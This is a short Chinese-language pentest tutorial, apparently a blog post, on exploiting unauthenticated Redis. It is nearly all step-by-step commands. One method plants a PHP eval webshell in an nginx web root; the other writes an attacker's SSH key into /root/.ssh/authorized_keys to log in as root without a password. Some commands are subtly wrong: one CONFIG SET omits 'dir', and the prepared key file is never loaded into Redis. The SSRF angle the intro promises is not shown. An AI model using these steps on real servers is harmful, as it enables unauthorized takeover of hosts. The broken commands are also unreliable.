1.SSRF漏洞简介
SSRF(Server-Side Request Forgery)即服务器端请求伪造,是一种由攻击者构造攻击链传给服务器,服务器执行并发起请求造成安全问题的漏洞,一般用来在外网探测或攻击内网服务。当网站需要调用指定URL地址的资源,但是没有对这个URL做好过滤,就会导致可以访问任意地址。
2 Redis未授权漏洞
redis默认绑定0.0.0.0:6379端口,默认没有密码。如果咱们的运维大兄弟上线服务时不限制IP访问和配置密码,那么6379端口就会暴露在公网任人宰割。
如果我们在渗透测试时碰到ssrf+redis未授权就可以考虑以下几种方式:
3.通过redis上传webshell
1.因为配置有误的redis所有主机都可以登上,所以我们先登上再说
redis-cli -h 192.168.179.128
2. 登上之后,需要得到靶机网站的物理路径(方法:1.报错界面查找信息 2.dirsearch查找phpinfo信息等)。当然,我用的自己的靶机因此掐指一算就得出该位置
CONFIG SET /usr/share/nginx/html
3.随后给咱们shell起个名,并编写恶意代码
CONFIG SET dbfilename redis.php //起名
set webshell "<?php @eval($_POST['shell']);?>" //编写一句话木马
4.save保存
5.这时我们用蚁剑进行连接,测试下中用不
秒!太妙了!好了打住,那咱们在瞅瞅第二种方法
4.公私钥匙上传进行免密登录
1.首先咱们需要现在靶机建立一个文件夹(默认存放公私钥的地方)
mkdir /root/.ssh
2. 随后咱们在攻击机生成密钥对
ssh-keygen -t rsa
id_rsa为私钥,id_rsa.pub为公钥
3.随后将公钥文件写入文本文件中
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > 1.txt
4.连接靶机redis
redis-cli -h 靶机IP
config set dir /root/.ssh #设置redis备份的目录为/root/.ssh
5.一般情况下系统会认定authorized_keys为公钥文件名,因此咱们给他起个这样的名字
config set dbfilename authorized_keys # 设置公钥文件名
6.save保存
ok,以上所有搞定之后,咱们的高光时刻即将到来!
通过以下命令测试能否免密登录
ssh -i id_rsa root@192.168.179.128
结果:
妙不可言~~~